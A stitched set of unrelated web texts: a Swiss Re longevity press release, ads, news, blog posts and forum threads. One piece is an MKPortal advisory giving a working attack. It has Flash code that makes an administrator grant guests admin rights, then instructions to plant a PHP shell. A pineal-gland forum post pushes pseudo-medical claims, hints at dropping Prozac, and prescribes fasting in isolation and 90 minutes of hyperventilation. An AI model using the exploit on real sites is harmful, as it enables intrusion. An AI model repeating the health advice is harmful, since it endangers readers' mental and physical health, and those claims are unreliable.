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Swiss Re says time is running out for effective longevity funding solutions and calls for a multi-stakeholder approach to address longevity risk
31 August 2010, London
Swiss Re today publishes its report "A short guide to longer lives: Longevity funding issues and potential solutions". The report warns that underestimating life expectancy by just one year can increase a pension plan's liabilities by up to 5%. It examines what (re)insurers and other parties can do to help address the challenges faced by societies as a result of increased life expectancy. The report also includes recommendations for the key parties involved in addressing longevity funding issues.
Over recent years, people's life expectancy has risen substantially and this trend is likely to continue. Swiss Re's report looks at what governments, pension plans, insurers and reinsurers can do to help address the challenges faced by societies as a result of increased life expectancy.
Christian Mumenthaler, Head of Life & Health Products and member of Swiss Re's Group Management Board, says: "While life expectancy is on the increase, the time required for implementing effective longevity funding solutions is running out. Insurers, governments and pension providers must act now to ensure that living longer remains a benefit to society, rather than a financial burden."
Insurers and pension funds have an obligation to pay and reserve for accumulated pension benefits. Underestimating life expectancy by just one year –a relatively small miscalculation – can increase liabilities by up to 5%. So, for a pension plan with USD 1 billion of liabilities, an extra USD 50 million would need to be funded.
UK longevity market most developed
While the trend towards longer lives is global, some markets are impacted to a greater degree from a funding point of view. Though currently most developed in the UK, longevity insurance activity is expected to develop in a number of markets, including the Netherlands, the US and Switzerland – countries with material exposures and a high level of private pension provision.
Well-diversified (re)insurers are a natural home for longevity risk
A well-diversified (re) insurer will have a combination of mortality risk and longevity risk along with other non-correlated insurance perils, such as property and casualty. This type of diversification means insurers are often the 'natural home' for longevity risk. The recent development of insurance-based (or "indemnity") solutions are an important factor in transferring longevity risk to these natural holders.
Recommendations for the parties involved:
- Employers and pension plan trustees should assess whether they are reserving for longevity at an appropriate level and examine the feasibility of transferring some, or all, of the risk.
- The insurance industry must encourage the development of more sophisticated risk models that recognise potential future longevity trends, especially in light of Solvency II and similar regulatory initiatives.
- Governments and regulators need to consider re-aligning retirement ages with life expectancy and implement consistent regulation and accountancy guidelines. Additionally, governments should look to public-private partnerships to address their own longevity exposure through defined benefit schemes, which are backed by the state. Governments should also support the development of a longevity capital market through the publication of reliable, consistent mortality data to allow the production of transparent and robust indices. Annuity providers will need additional longevity capacity in the longer term and the capital markets may be able to provide some of this.
To find out more and download the report go to: www.swissre.com/longevity
Notes to editors
Swiss Re
Swiss Re is a leading and highly diversified global reinsurer. The company operates through offices in more than 20 countries. Founded in Zurich, Switzerland, in 1863, Swiss Re offers financial services products that enable risk-taking essential to enterprise and progress. The company's traditional reinsurance products and related services for property and casualty, as well as the life and health business are complemented by insurance-based corporate finance solutions and supplementary services for comprehensive risk management. Swiss Re is rated "A+" by Standard & Poor's, "A1" by Moody's and "A" by A.M. Best.
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text:
Moving Ahead 2016
Barbara has strived to and focused on efficient government that serves the people it represents. She has volunteered countless hours of her time to ensure that her community is responsive to the needs of the residents. Providing services through fiscally conservative budgeting, good management practices and weighing the outcomes of initiatives.
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subset: commoncrawl


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The Calcification process is important and it is Supposed to happen, if you listen, I can help get you off the Prosac, Properly Calcify your Pineal Gland and the rest of your organs
I can't post all of the info here, not until i publish it myself on the web and then I will link and had been planing on linking this over in ats in the future...
I do webdesign and biodiesel and other junk for a living but my intitial career goal was to be a psychopharmacologist. I studied the effects of drugs on the human mind in parctice and in school for a long time
The Pineal gland Ideally will be a proper mix of Calcium, Carbon and Oxygen, and there are variations, what it is suppossed to do is form crystals and the kinds of crystals formed are extremely similar to the ones in the inner ear... They Resonate with sound (and other things as well)
But sound is what they are supposed to work with
Ideally a properly Crystalized Pineal Gland will vibrate like a bell
people are recommending tryptophan and you have been advised to take Prosac, Prosac can have negative side effects because of the improper crystalization of the Pineal gland, (reality check, it was off in the first place because of ...most likely floridation in the first place, plastics and other things affect it as well... so do cell phones, em fields and Mood and depression)
Tryptophan is good advice, except it won't work for you by itself, because you can't uptake the Tryptophan right anymore in the first place I can be almost sure if you were put on Prozac! (I like to call it Ballzac)
What you need to do is properly align the crystalization process in the Pineal gland so it can uptake tryptophan properly, normal you have plenty of tryptophan
I am guessing you have a problem maybe that they say is biological in the first place, but really, You probably just need help... i.e you naturally have some defect that prevents uptake of Tryptophan properly or some biological process that gobbles it or consumes it... so Tryptophan supplements may be needed by you...or maybe your just misdiagnosed and just have a screwy crystalization of your Pineal gland
Takeing Tryptophan will help out either so I say do it
Now your Pineal gland needs to be secreting Melatonin and Serotonin in proper amounts and it wont do this with an improper crytsalization of the Pineal
and thats the root of more than you can imagine problem wise...
Once your regulated in Seratonin and Melatonin production your Pituitary gland will be activated by the proper mixture created from within your Pineal (your also going to need proper amounts of B-6)
Once we have that Pineal working and stimulating your Pituitary (as well as other glands) you going to start producing healthy amounts of oxytocin and vasopressin
That where your mood is going to lift and everything feels groovey
First, your going to fast for 24 - 48 hrs, You need 2 days where you can sleep, you might be moody, lightheaded and your not looking to be uncomfortable... Fast can include, lemon water, green tea (from purified water) If you get really hungry a Bannana to get you by is okay... and SLEEP as much as you can through it.
While asleep, and when awake you need to set up a playstack on the computer of natural sounds and classical music for company
I want you to have NO contact with other human beings during this 2 days, lock yourself in a room if you have to, say your sick! That will keep people off your rear end...
We want your pineal stimulated by the proper music (there is a basis in mathametics for classical as a reccomendation) and get yourself as close to a womb like state, purity via the fast, harmonic for stimulation and noone elses brain waves and thought process disturbing yours
Night before day 2, Take a good dose of B-6 and Tryptophan, several high dose capsules each... Also if you can afford it take Ginko Biloba and Omega 3 Fatty acids
When you wake on day 2 your going to meditate
(You must research and practice basics prior to doing this)
Your going to flood your body with oxygen... PRANAYAMA, learn it, get good at it, you will know your ready when you can reach a place where you feel a tingling sensation in your extremities, if you can't feel your fingers or toes your doing it right
The specific technique is Breath of fire...
You can start practicing as soon as now... this is for a real activation,
Your going to want to do 90 Minutes of breath of fire that day... (don't worry about time, try and count in your head as a way of tracking it and soon enough time will go bye bye anyway) so really a long, long time, I usually loose track between 40 minutes and 1 hr of , literally a sense of time/ability to count
(Now with Pranayama you will be doing a certain breath In through your nose to your diaphram and out through your mouth)
at around that 90 minutes, (sometime after you have no time lol) your going to want to incorporate the next meditation as Your EXHALATION
By now your pineal gland is flooded with Oxygen, your whole body is...done right the name breath of fire... means your whole body feels tingly like it's on Fire
The next step Is Tibetan Deep Voice, or Tibetan Chant... (your going to need to do some reading on both) just google and read as much as you can
also prior to this day your going to have to have learned the basics of Deep Voice, seperately, don't mix them until the day you do this...
you need to judge deep voice by the sound tibetan chant
Thats what it sounds like, it's enhanced slightly but when you have the tone correct, it should resonate, I feel it first in my teeth then anywhere I have had injuries...
It takes practice, i'm really good, my windows vibrate... what your doing is letting air out slowly through the throat and vibrating deep vocal chords to create a vibration on specific low tone words
Any chant will do I am getting into specific ones now as I advance, but you just want to ring that pineal bell for the first time...
a good basic:
Om (ohm)
Ma (mah)
Ni (nee)
Pad (pahd)
Me (may)
Hum (hum)
One I'll be doing in about an hour
Don't worry about what they mean most Hindus and Buddhist Monks are very well aware the sounds and g-ds goddesses are analogies for healing effects on certain body parts, you can dwell on that stuff later if it interests you, for now...only a good vibration with a proper deep voice is important, your interested in approaching the tone in the recording
So, fromm reaching a full PRANAYAMA Breath of fire, you want to to slip into BASIC Pranayama, single breath in through nose, down to Diaphram and on exhalation... do the TIBETAN CHANT
do it, until you FAIL... and you will lol,
whats going to happen is, your Pineal loaded with oxygen will then be vibrated by the Tibetan Chant and the energy created will be enormous, it starts de and re crystalizing the pineal, it will shake it all up in there and form from a proper harmonic pattern, the reason for the fast and pure water is to be clear of any odd chemicals and hormones
What happens next...maybe not the first time, after some time is an explosive release of '___', somewhere in there your going to go away... you'll slip into a full '___' hallucination, 1/2 dream, but very vivid and... the whole thing, it's very, very intense... the health aspects of the Pineal functioning is what matters but this is..."the fun side effect"
You will need at least 6-8 hrs, when you wake from it, your going to be hungry...
This I developed after years of study, it is the single fastest way I know to correct mental health and body health in one shot... it's the combonation of two very powerful meditation forms from Hindu and Buddhist sources
It's like an Atom bomb in your head...
I have had serious trips from it and...honestly, the first time I achieved it when I awoke I had a genuine full on supernatural event occour... I wrote of it in here about Flies in one of my threads, like a freeing from posssesion... I have also manifested desires from this, no joke, i.e. been dreaming of something and awoke and it happened...
You don't want to assume lotus or any other form for this you want to lay flat on your back, your going to get really far gone, laying down is the only way to do this, you could injure yourself if your in a chair or sitting,
If you have a strong enough sense of conciousness you will taste a huge pituitary release in the back of your mouth and sinuses and throat, it is refered to as ambrosia or amrita this is a result of '___' production which will increase pituitary homones and beta-endorphins, vasopressin, prolactin, Growth Hormone, and corticotrophrin (cortisol).
this fluid (amrita) is a mixture of endogenous cannaboids, enkephalins, glutamate, oxytocin, vasopressin and Ca2+ ions and polarized water that have been generated by glial and neurons, accumulated in the cerebrospinal fluid. At a point of maximum excitation, very much like an orgasm, this fluid is excreted out from the sinuses and into the back of the throat.
Or... A Brian Orgasm as it is someties called
Hard to follow, don't worry, just try it... I am not a doctor, nor in my advice to discontinue prozac medical
Good luck, feel free to u2u me if you have questions
Originally posted by mopusvindictus
Or... A Brian Orgasm as it is someties called
There are three main ways that a fluoride water filter might work. reverse osmosis filtration is generally used to cleanse some brands of bottled water. If you want to avoid fluoridated water, remember that not all kinds of bottled water is free of it. reverse osmosis is too expensive for home use. Activated alumina defluoridation filter is one type of home fluoride water filter system.
This kind is often used in areas where fluorosis prevails. This is an illness due to too much naturally-occurring fluoride. The most widely-used home fluoride water filter is the distillation filtration system. It is more affordable than activated alumina. If you need to avoid fluoride, remember that both red and black tea naturally contain it. Do your research on the subject and choose the best fluoride water filter for your needs.
Objective: The purpose of the present study was to determine the effect of different water purification systems on the fluoride content of drinking water and to compare the efficacy of these water purification systems in reducing the fluoride content.
Materials and Methods: Five different water purification systems were tested in this study. They were reverse osmosis, distillation, activated carbon, Reviva® , and candle filter. The water samples in the study were of two types, viz, borewell water and tap water, these being commonly used by the people of Davangere City, Karnataka. The samples were collected before and after purification, and fluoride analysis was done using fluoride ion-specific electrode.
Results: The results showed that the systems based on reverse osmosis, viz, reverse osmosis system and Reviva® showed maximum reduction in fluoride levels, the former proving to be more effective than the latter; followed by distillation and the activated carbon system, with the least reduction being brought about by candle filter. The amount of fluoride removed by the purification system varied between the system and from one source of water to the other.
The results suggest that chronic nicotine treatment slightly suppresses the melatonin production but does not alter the daily rhythm of pineal melatonin in mice maintained on a light-dark cycle. However, the results indicate that nicotinic receptors might be involved in the regulation of pineal function.
It is so sad that this has occurred. I myself only drink well water and double, triple does of vitamin C.
Originally posted by adrenochrome
i've been wondering if there's such a statistic out there that shows the percentage of the U.S. population that has a calcified pineal gland...
from the ignorance i encounter on a daily basis (i work at a hospital, too, so you'd think doctors would be a little wiser.. ), it seems like around 85%-90% of the population has solidified pineal glands...
Originally posted by All Seeing Eye
Say, If the Earth is a living thing, where might its Pineal gland be? And what might it be called? Ya got to love inspirations.............
Perhaps, my friend.
Originally posted by TravelerintheDark
Originally posted by All Seeing Eye
Say, If the Earth is a living thing, where might its Pineal gland be? And what might it be called? Ya got to love inspirations.............
You're in it, call it life. That is to say, living things are the earth's "pineal gland". We see what it does not, as it sees what we do not. Perhaps?
[edit on 27-10-2008 by TravelerintheDark]
Originally posted by All Seeing Eye
Perhaps, my friend.
Thank you for your reply in the "I had a Dream thread, it was touching, and appreciated.
Originally posted by All Seeing Eye
Dreams, Pineal gland, divine inspirations, they all just seem to go together, don't you think?
Originally posted by All Seeing Eye
I would think if the earth did have a pineal gland, it would look like this..
I have seen this too, only in different terms.
Originally posted by Universal Light
Originally posted by All Seeing Eye
I would think if the earth did have a pineal gland, it would look like this..
[quote]I see a triangle that emits rainbow light into the universe. When I look further into it, I can see what looks like a holographic eye. (I've also gone into the gland in several meditations and each time have seen a younger version of myself that's growing up.)
I'm not sure what happens if you open your 3rd eye and crown chakras before the others, but I would think it would not be great.
Originally posted by stikkinikki
Originally posted by unityemissions
I've looked for info on this as well. It's nearly non-existant. I'm not sure. Meditation, developing focus, concentration, etc.. will help to strengthen the pineal, but not to sure what exactly hinders it. Have heard that if you do light-deprivation for several days that it fully opens your pineal gland/6th chakra, and possibly your crown.
What happens if you open those chakras before the ones below are open? How do I know if any of those are open?
I can defiantly agree to that. But where do you find the material if you can not see it? How can you judge information without even knowing it exists? I suppose the "Will" must be there first, then the search, then the discovery, then the truth.
I started doing Kunalini yoga half assed without reading up on it first and had myself a nice, tiny little breakdown.


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text: I have a site which I would like to design / update. WHMCS is a must as I would like to integrate front and back end together. I would also like a custom newsletter template, based off a sample. Depending on your design skills, I may add another site. Payment will be 50% up front, 50% upon completion.


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Apple's colorful mainstream flagship, starting at $749.
Verizon Including Mobile Hotspot in iPad Data Plans at No Additional Charge
What I didn't see when I went looking for [details] is how much extra mobile hotspot costs. On Verizon, adding this feature on phones adds an extra $20/month but also an extra 2GB of data, meaning you can get up to 12GB in a month if you're willing to pay $100.
However, a Verizon Wireless spokesperson informed me that for tablets (including the new iPad), the mobile hotspot feature is included in the data plan's price. iPad owners won't have to pay extra to activate mobile hotspot, even with the 1GB plan.
AT&T has yet to announce specific plans for mobile hotspot functionality on the new iPad, as a statement provided to 9to5Mac indicates that the carrier is "working with Apple" on the issue, but isn't offering this capability at all at the moment.
Top Rated Comments(View all)
Should have been figured out before launch, 5-10 million people deserve to be fully informed before preorder.
It seems like it would be GOOD for ATT to include it. Since it eats data quicker and they could charge more for the next amount of data.
The carriers don't want people to actually USE data, they want them to PAY for more data than they need.
If you pay for 5GB and USE 5GB you are a problem for AT&T.
If you pay for 3GB and use 500mb you are a golden goose. They want to encourage the second model anyway they can.
William J.: Welcome to AT&T online Sales support. How may I assist you with placing your order today?
RJ: I recently ordered the new iPad that has LTE and WiFi - Because I'm in the Seattle market - 1. What are my data plan options? and 2. When is LTE scheduled to come to Seattle
William J.: I will be happy to help you! One moment please.
William J.: The data plans you would have to choose from would be the 300MB Data Plus for $20.00, the 3GB Data Pro for $30.00 and the 5GB Data Pro for $50.00 which comes with tethering/mobile hotspot.
William J.: I am sorry, I do not have this information. Can I help with anything else?
Richard: so tethering/hotspot will only be with the $50 - 5GB plan
Richard: ?
William J.: Yes.
RJ: is that with a contract or on a monthly basis - basically if i want to turn it off and on?
William J.: No, this would be with 2 year contract.
RJ: ok thanks
When ordering a iPad the price plans no longer appear for AT&T and Verizon.
AT&T can stuff it. They only offer tethering with a $50 plan and they force you to sign a contract with them to get it? While not subsidizing the hardware at all?
[ Read All Comments ]


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Full protection without confusing jargon
You probably know that you need a firewall program to use the Internet safely. In addition to protecting you against attacks from the Internet, a good firewall will also tell you when programs installed on your computer are trying to phone home and enable you to prevent them from doing it. This is something that Windows® own firewall doesn't do, and it's essential for identifying and stopping the activities of many malicious virus and spyware programs. For example, this enables you to prevent your computer from being turned into a "zombie†controlled by spammers or destructive hackers.
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text:
Cyclops Cycle
- Screens
- 1
The Cyclops Cycle is technically hybrid. In its present form it is designed for video projection at large scale on three adjacent screens. The presentation medium is mini DVC tape though this could be transferred to DVD for installation presentation in a gallery context. The work is not interactive though the three screen format expects the viewer to make continuous choices for attention and each presentation has minor differences due to screen configuration and small shifts in synchronisation between the source tapes. Audio exists on all three tapes but is only played as a stereo output from one. The source material for the work is either a video 'diary' or is generated initially by computer and modified by both analogue and digital means. The 'diary' images have been shot over more than ten years and are sourced on the first generation Video8, later High8 and most recently on mini DV.
Members can add videos related to this work.


text:
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Learn more about the great opportunity to join our firm at the grass roots as we build our team and presence in the Triangle with talented brokers with a passion for giving back to the community!
Our Apex Office is growing! We are looking to bring on talented Real Estate Brokers with at least 1 year of experience that want to take their business to the next level! How we do it:
We offer and provide an opportunity for you to grow your own business, to make more money than you did at your previous firm, to have better personal relationships and more free time with your families coupled with an opportunity to BUILD your own charitable legacy. At Giving Tree Realty we have a unique culture of paying it forward and an atmosphere that motivates and inspires a culture of giving.
Do you have high integrity and good character? Are you passionate? Are you a "giver?" Do you have fire in your belly? Professional? Do you want to help people? A self-starter who can handle a large volume of clients and data? Is a work-home balance important to you? (Hint: It's important to us!)
If you've answered yes to all of the above, we encourage you to apply now!
Work for our firm and team, yet build your own independent real estate business. Have the best of both worlds: Team Environment with cutting edge technology, coaching, training, mentoring and support along with leads, leads, leads; and General Brokerage: sell your personal leads at a 90/10 split!
AWESOME company! Tremendous opportunity to join a firm that is truly a family of caring individuals! We are priming to build a team to take over our new South Carolina office!
Giving Tree Realty is one of the fastest growing real estate firms in the Carolinas. We are built upon a foundation of giving. We donate a portion of every real estate transaction to charity. When you choose to work with us, you instantly become part of our good works.
Our current office is in a Historic 1926 Building that is warm, cozy + inviting with beautiful architecture + design and with AWESOME amenities: Conference Room, Board Room, Kitchen, Private Outdoor Patio (with relaxed seating/music/fire pit table and more) and a 3rd floor Quite/Relaxation Room with massage chairs (coming soon). Our building is the very BEST location in Dilworth on the corner of East Blvd + Charlotte Drive with great pedestrian connectivity. Enjoy the cool Dilworth vibe with great eateries, bars and shopping a short walk away.


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OK, so this is the experimental personal blog. I wouldn't expect it to live for long, but I could be wrong.
The existing personal and Oracle postings and all of the future Oracle postings will continue living here because I don't want to have to move blog URLs again (a year after the last occasion) and have aggregators and other websites have to mess about with their links.
The biggest thing you're likely to notice is that the 'Housemate of the Month' feature now belongs to the Personal blog. I mean no offence to the Housemates with their removal from the Oracle blog and I have nothing to hide. They're still here and they're reasonably excited by the prospect of the Personal blog being more popular, thanks to their inclusion, and having the chance to post occasional dispatches from the comfy seat. In fact, some of the American contingent (Randy, Mike and Bobby-Dan) are growling something about kicking my ass.
No doubt they'll start a campaign shortly to use a more informal layout design rather than the boring but efficient one they've had to live with for the past year.
Sunday, July 22. 2007
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From Ars Technica:
The players of the online protein-folding game Foldit (which we've reported on before) outperformed scientists by discovering the structure of a protein involved in the Mason-Pfizer monkey virus (M-PMV). The M-PMV is a retrovirus, like HIV, that causes AIDS in monkeys and apes. Understanding its structure will help researchers develop antiretroviral drugs that can fight HIV—but this has been a mystery for over a decade.
Proteins consist of long chains of amino acids, molecules made up of carbon, hydrogen, oxygen, and nitrogen. Figuring out the order of the amino acids is easy, but that's only part of the story—the amino acid chain folds into complex shapes that determine the function of the protein. Due to the incredibly high number of degrees of freedom, understanding this structure is one of the hardest problems in modern science. A lot of research has focused on designing programs dedicated to solving this problem, which is mainly an energy minimization task (the correct shape is the most stable, the one with the lowest energy).
The Foldit players were given ten different, incorrect models as a starting place. Over the course of sixteen days, players tweaked the designs, coming up with tens of thousands of variations. Then, the breakthroughs: a player named "spvincent" came up with a structure much better than any previous iteration, and two more players ("grabhorn" and "mimi") quickly improved on it. With a few more days of work, the researchers completed the solution. Achievement unlocked, indeed.
So. Freaking. Cool.


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Our newest Homes feature: LomoWalls183 134 Share Tweet
We proudly present a new on Lomography: the LomoWalls – a tool that let's you play around with and arrange photos in different patterns. Please note: this is a preview – so let us know in the comments if everything works out fine. And even more important if things don't work out.
In case you haven't seen it yet: some days ago we posted this video showing how LomoWalls are created in the Shoutbox, our Twitter feed and our Facebook page:
So do you want to give it a try? Alright, we've still hidden the feature from the majority of our users but to try it do the following: enter your username in this address: www.lomography.com/homes/yourusername/walls – see my first published wall here.
Have fun, bear with us if there are some bugs or it is a bit slow (please give the shots some time to resize). Post the links to your first walls in the comments and share them with us (all the walls will get more prominent place once they are live for everyone). Or any bugs you find. Thanks for your help!
If you have general feedback on our relaunch please post a comment in this article: The next version of Lomography.
written by recurving on 2010-09-22 #news #relaunch #lomowalls #feature


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GraphicRiver Creative Photographer Flat Illustration 11884432
Category: Stock Vector | Comment: ( 0 )
GraphicRiver Creative Photographer Flat Illustration 11884432
Stock Vector \ Characters \ People
Sign \ Smile \ Shot \ Self \ Photo \ Photography \ Snap \ Social \ Viewfinder \ Website
Stock Vector - Creative Photographer Flat Illustration 11884432 by Top_Vectors @ GraphicRiver
Stock Vector \ Characters \ People
Layered: No; Graphics Files Included: JPG Image, Vector EPS; Minimum Adobe CS Version: CS.
Editable EPS and Render in JPG format
Barber Icons; Barber Icons; Set Of Colorful Profession People Flat Style Icons; Sewing Tailoring And Needlework Decorative Icons; Sleep Time Icons Flat Vector Illustration; Vector Illustration Set On Space ; Mountains Isolated .
Keywords: boy, capture, character, compact, concept, creative, crop, design, digital, element, equipment, finger, flat, guy, middle, network, photo, photography, self, shot, sign, smile, snap, social, take, template, vector, view, viewfinder, website.


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Knowledge BaseFind your solution by searching our articles or browsing by category below.
Will I own the rights to my animation, after submitting to Toon Boom?
Publish Date: June 5, 2012 Category: Procedure
Yes, you will still own the rights to your animation short. Please read Toon Boom Animation Inc.'s Terms and Conditions (www.toonboom.com/legal/terms-and-conditions) carefully in order to thoroughly understand your ownership rights.
The Terms and Conditions link can also be located at the very bottom of every page on our website.
Please read the following sections:
- Section 6. Information Provided by You
- Section 9. TOON BOOM Showcase.
You should find all the answers to your questions there.


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source: http://www.securityfocus.com/bid/25515/info MKPortal is prone to an authentication-bypass vulnerability because it fails to restrict access to certain administrative functions. Attackers can exploit this issue to gain unauthorized access to the application. Versions prior to MKPortal 1.1.1 are vulnerable. Start Macromedia Flash and create an swf file with this code: var idg:Number = 9; var p13:Number = 1; var Salva:String = "Save+Permissions"; getURL("http://victim.com/mkportal/admin.php?ind=ad_perms&op=save_main", "_self", "POST"); Translate "Save+Permissions" in MKPortal language. Example: "Salva+questi+permessi" for italian sites. Then upload the swf file to a webserver and create an html page like this:   <title>Put a title here</title>
Put some text here
    Now send the html page to MKPortal administrator. When admin opens the page all guests will be able to administrate MKPortal. So you can go here: http://victim.com/mkportal/admin.php?ind=ad_contents&op=contents_new_php and paste a php shell or a backdoor. You can find your shell here: http://victim.com/mkportal/cache/ppage_*.php where * is the ID of the page. Translate "page" in MKPortal language. Example: "pagina" for italian sites.


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It could be argued the invention of automobiles was one of the biggest accomplishments of man and has changed the world forever. Cars were first invented in Germany and France, however, it was the brilliant minds of Americans who turned it into a life-altering industry. After more than 100 years of existence, it's hard to imagine life without them.
A car to me has always been a practical possession — something I needed to get from point A to point B. Sure I have admired the sports cars and luxury vehicles, but it would be something I would own only after winning the lottery — not for an everyday car.
My first vehicle is slightly embarrassing to reveal. As a twin, it was only natural my sister and I shared a vehicle. I mean, we had pretty much the exact same schedule in high school, and we were best friends and roommates in college. It was easy to make it work. We took turns driving and learning more and more about how to control the beast we were forced to drive.
What vehicle was it? A 1993 Ford Aerostar van. It was a box on wheels. Mom and dad purchased the vehicle for family road trips, and it had stood the test of time for my sister and I to move from the back seat to the driver's seat 10 years after it rolled off the lot.
Trish and I embraced it as our vehicle. It wasn't like mom and dad were going to buy us a new or used car while "ol' trusty" still was running. Our other option was to learn to drive a manual and drive the 1995 Ford Escort instead, but that didn't happen. I'll give my sister credit, she did try to learn. However, after killing the car 32 times in a 10-block trip from school to home and a near-death experience, she left the five-speed behind, never to return.
That left us with the Aerostar. "The old van" had lots of memories, however, the lack of air conditioning and a stuck driver's side window left some challenges during the hot summer months or when ordering at the drive-thru. It was a perfect starter vehicle because it had a "built-in" speed control. The steering wheel would shake once you got it up to 60 miles an hour. Anything beyond that, and it was a wonder the whole thing didn't fall apart on the road.
Well, the old van made it through our high school days. As much as my sister and I had a secret love for that van, we knew we did not want to take it college. Thankfully, Mom and Dad agreed. Trish and I went to Wartburg College, the same institution our older brother was attending. His senior year was our freshman year, and we shared his 1998 Ford Contour. After he graduated, he bought his own vehicle, leaving "the white car" for Trish and me to use. It was a good college vehicle. It had a V6 in it with way more power than the van. The only wimpy part on it was the horn. It sounded like an Ewok's howl. It would barely make a deer spook let alone persuade a bad driver.
I inherited the white car following college graduation. After my first week of work, the power steering went out in the car. Instead of fixing it, I traded it off on a 2001 Buick Century, the very first car I bought as an adult. I didn't keep that one for long before getting my 2006 Ford Fusion then upgrading to my 2014 Fusion, which I plan to keep for many years.
Even though I have driven sedan-sized cars for the better part of 12 years now, I'll never forget learning to drive on the old van. After learning to park that old boat, anything seems easy now. It comes in handy when I drive my fiancé's full-sized truck. I hope he was a little impressed when I drove it without hesitation. I have ol' trusty to thank for that.
Contact Pam Rodgers
at email@example.com


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A 15-year-old girl is dead after being struck by a vehicle in Prospect Heights late Saturday.
Monika Skrzypkowski of Arlington Heights was pronounced dead at Northwest Community Healthcare in Arlington Heights at 12:07 a.m., according to a spokesperson for the Cook County medical examiner's Office.
The medical examiner's office said Skrzypkowski was hit by a car as she walked near North Elmhurst Road and West Kenilworth Avenue in Prospect Heights.
Prospect Heights police are investigating and would not comment on the case Sunday.
--Emily S. Achenbaum


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If Chicago is awake at all Flip may be rocked with some counterpunches. Now no one can know what his policy positions are today, but there's tape out there showing he wants a 20% income tax cut and elimination of a couple other taxes. Barring appearance of Dope's revenue fairy that can't be revenue neutral;the arithmetic won't work. He's flipped again. Then there was his response to the president opposing repeal of tax breaks for offshoring: "I have no idea what you're talking about".Lying on video is risky. I've assumed that Chicago has a fault full of ads showing Mitt flipping. Those plus videos of him lying in debate can leave him looking unappealing to people who want to know what they're voting for when they go to the polls. Flip's vulnerable.
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Give Way to Freedom Inc. is a private foundation that promotes awareness of Human Trafficking and supports hands on projects that directly provide care and empowerment for people who have been trafficked.
Program supported:
- KMET Freedom House; the first and only safe shelter in Kisumu for girls who have been abused and require a safe space for recovery,post trauma and psychological counseling.
Venture Strategies for Health and Development is a non-profit organization working to improve the health and well-being of people in low resource countries.
Program supported:
- Medicated Uterine Evacuation. KMET distributes Manual Vaccuum Aspirator(MVA) kits to healthcare providers in Kenya.The kits are supplied to KMET by Venture Strategies.
This is a non-governmental, international, humanitarian organization dedicated to the reduction of suffering and working towards the ultimate Reduction of poverty levels within the social set ups.
Program supported:
- HIV/AIDS Community Capacity Enhancement
- Urban Livelihoods and Social Protection
- Outpatient Therapeutic Program
This is a nonprofit, non government organization, which strives to create small, sustainable programs for the needy.
Program supported:
- Microfinace & Nutrition. KMET and OVAAT are currently running a school feeding program in Nambale and Siaya districts.This is an effort to support achievement of MDG2: Achieving Universal Primary Education.
Population Council is an international, nonprofit, non-governmental organization. The Council conducts biomedical, social science, and public health related issues.
Program supported:
Population Council supports the Safe Space component of KMET's Sisterhood for Change project.
Safe Space was initiated in order to equip vulnerable teenage girls with entrepreneurial skills.
Program supported
- Home Based Care The HBC program was started in 2001 because of increased pressure on bed occupancy in hospitals and inadequate numbers of health providers to cope with the large numbers of admissions.
Program supported:
- Planned Parenthood Bucks county Seed Money, KMET Integrated Community Health Care Center, a project towards sustainability, Consrtuction of The KMET Health Complex.
Karolinska Institute is a medical university in Solna within the Stockholm urban area, Sweden, and one of Europe's largest and most prestigious medical universities.
Program supported:
- PAC Study. The PAC study is a 3-year operation research to be conducted at Jaramogi Oginga Odinga Teaching and refferal Hospital and at the Kisumu East District Hospital
USAID carries out U.S. foreign policy by promoting broad-scale human progress at the same time it expands stable, free societies, creates markets and trade partners for the United States, and fosters good will abroad. KMET is a partner in the USAID APHIAplus Health Communitions and Marketing(HCM) Program.
PharmAccess is a combination of an incubator for business innovations, a knowledge center and a project implementation partner for health care in Africa in the area of Health Insurance, Health Financing, Quality and Consultancy.
Program supported:
- Community Healthcare Access plan - CHAp
- Medical Credit Fund
The IZUMI Foundation provides resources to organizations that share its commitment to delivering lasting, cost-effective improvements that build local health care capacity.
Project Supported:
Uterine Balloon Tamponade
Safe Abortion Fund
Project Supported:
Tetea Uzazi Salama (TUS)
Population Action International
Project Supported:
International Women's Health Coalition IWHC
Project Supported:
Kisumu Brain Trust
Project Supported:
Partners in educational exchange program


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our wireless account has been hijacked
View Single Post
January 2nd, 2007, 05:32 PM
Honest Contributor
Join Date: Nov 2005
Location: Montreal, QC
Posts: 5,900
LL1 thanks I'll look into Bell, maybe they have a better service and with a new account we can stop the hijacking before it starts?
the only program we use to download music is iTunes...
we've installed and ran the best spyware, we programmed the router with our laptop's MAC addresses and that alone should prevent anyone from accessing our service... but no. we tried shutting the modem about 20 hours per day (when we're not using it like overnight and during the workweek) and nothing has changed. we're just so stumped
"Let Thy Food Be Thy Medicine"
Take nothing but pictures, leave nothing but footprints.
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The National Lacrosse League announced its All-Rookie Team today and Washington Stealth defenseman Matt Beers was among those honored for his performance in the 2010 regular season. It is the second straight season at least one Stealth player has earned All-Rookie honors.
Beers was the 13th overall selection for the Stealth in the 2009 NLL Entry Draft. The 20-year old, Coquitlam, B.C., native immediately made an impact on the floor for the Stealth. Using his 6'3", 205-pound frame, Beers punished opposing forwards on a nightly basis. He finished with ten points in 15 games this season on two goals and eight assists. He also grabbed 90 loose balls, good for fifth on the Stealth and tops for NLL rookies. His 67 penalty minutes ranked fourth in the league.
Last season, Stealth forward Rhys Duch won the Rookie of the Year award and was joined on the All-Rookie team by teammates Paul Rabil and Tyler Richards.
The NLL also announced the 2010 Rookie of the Year today, going to Toronto Rock forward Stephen Leblanc. Leblanc and the Rock will face Beers and the Stealth in the NLL Championship Game on May 15 at the Comcast Arena at Everett.
The 2010 NLL All-Rookie Team:
F Stephen Leblanc, Toronto
F Garrett Billings, Toronto
F Alex Gajic, Colorado
D Curtis Manning, Calgary
D Matt Beers, Washington
D Chris Corbeil, Buffalo


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VITAMEN Adult-Mix Main Store has moved and re-opened in the mall of new sim tou-Gen-kyo on 21th.Sept.
VITAMEN Adult-Mix is another line of VITAMEN underwear & swimwear.
It's something erotic men's underwear & swimwear with prim bulge & dick as seen on following pictures.
10designs,99colors are ready for you ;)
Product Thumbnail Pics:
*Check the bigger-size pics at VITAMEN Adult-Mix Main Store(Adult-Sim), or my Flickr (You need Sign-In Flickr to see all my pics).
SideRing Bikini - Lace (Adult-Mix Ver.)
SideRing Bikini (Adult-Mix Ver.)
LowRised Bikini (Adult-Mix Ver.)
Camo & Floral Print String-Bikini (Adult-Mix Ver.)
String-Bikini (Adult-Mix Ver.)
and more ;D
*If you like to get non prim-dick ver. in these design, check here VITAMEN Main Store. We have 18 design 155 colors prim-bulge men's underwear & swimwear in store.;)
